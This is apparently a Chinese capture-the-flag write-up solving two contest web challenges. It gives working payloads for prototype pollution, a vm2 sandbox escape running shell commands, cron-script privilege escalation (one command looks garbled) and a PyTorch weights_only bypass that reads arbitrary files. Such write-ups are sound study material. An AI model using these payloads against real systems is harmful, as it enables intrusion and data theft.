软件系统安全赛区域赛部分wp
主场作战
软件系统安全赛区域赛部分wp
Web - nodejs
观察源代码,发现merge()函数,考虑原型链污染:
1
2
3
4
5
6
7
8
9
10
11
12
function merge(target, source) {
for (let key in source) {
if (key === '__proto__') continue;
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
注意到禁止了__proto__属性,所以考虑采用constructor.prototype进行污染。
先注册账号,然后修改请求:
1
2
3
4
5
6
7
8
9
10
{
"oldPassword": "777",
"newPassword": "77",
"confirmPassword": "77",
"constructor": {
"prototype": {
"isAdmin": true
}
}
}
即可获得管理员身份。
发现vm2沙箱环境,并且需要管理员权限才能开启:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.post('/sandbox', async (req, res) => {
try {
const sandboxResult = { value: null };
const vm = new VM({
timeout: 5000,
sandbox: { __result: sandboxResult }
});
const result = vm.run(code);
await new Promise(resolve => setTimeout(resolve, 500));
res.json({
result: result?.toString() || '执行成功',
output: sandboxResult.value
});
} catch (error) {
res.json({ error: error.message });
}
});
注意到package.json中:
1
"vm2": "3.10.0"
代表过去的Payload无法直接复现,根据版本,认定为CVE-2026-22709,直接采用如下payload:
1
2
3
4
5
6
7
8
9
10
11
12
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('ls')"
);
f();
});
通过命令执行发现:
1
-r-------- 1 root root 43 Apr 19 03:03 /flag
说明需要提权,根据ps aux结果和/start.sh、/backup.sh,发现每30秒root身份会执行一次/backup.sh,所以:
1
chmod 777 /flag > /backup.sh || true
等30秒读取/flag:
1
dart{313f478f-3ec3-4826-bc23-0f654b63f566}
Web - ai_sms
打开题目后,可以看到关键信息:服务端使用 PyTorch 2.5.0且启动了weights_only=True,结果保存在/app/results/{user_id}.txt。
看到版本直接想到pytorch 在 2.6.0 版本之前,torch.load(xxx, weights_only=True) 安全机制的绕过漏洞,也就是CVE-2025-32434,用本地的payload先尝试一下:
1
2
3
4
5
6
7
8
9
10
11
12
import torch
class MaliciousModule(torch.nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
torch.save("\nhacked\n", "/app/results/1.txt")
return x + 1
malicious_script = torch.jit.script(MaliciousModule())
torch.jit.save(malicious_script, "malicious.pt")
上传后访问:
1
/result/1
发现成功。于是考虑使用 torch.from_file() 读取任意文件,直接读取flag。由于torch.from_file(path, ..., size) 中的 size 不能乱填太大,否则会映射失败导致文件不更新。考虑到flag格式大概率是uuid格式,所以尝试几次,发现把读取长度调整为42的时候可以准确读出:
1
2
3
4
5
6
7
8
9
10
import torch
class Payload(torch.nn.Module):
def forward(self, x):
t = torch.from_file("/flag", False, 42, dtype=torch.uint8)
torch.save(t, "/app/results/1.txt")
return x + 1
m = torch.jit.script(Payload())
torch.jit.save(m, "flag42.pt")
本地解析下载回来的结果文件:
1
2
3
4
import torch
obj = torch.load("result_1.pt", weights_only=False)
print(bytes(obj.tolist()).decode())
1
dart{d85a1aee-55b7-4bdb-bad7-151cc70c5992}
This post is licensed under CC BY 4.0 by the author.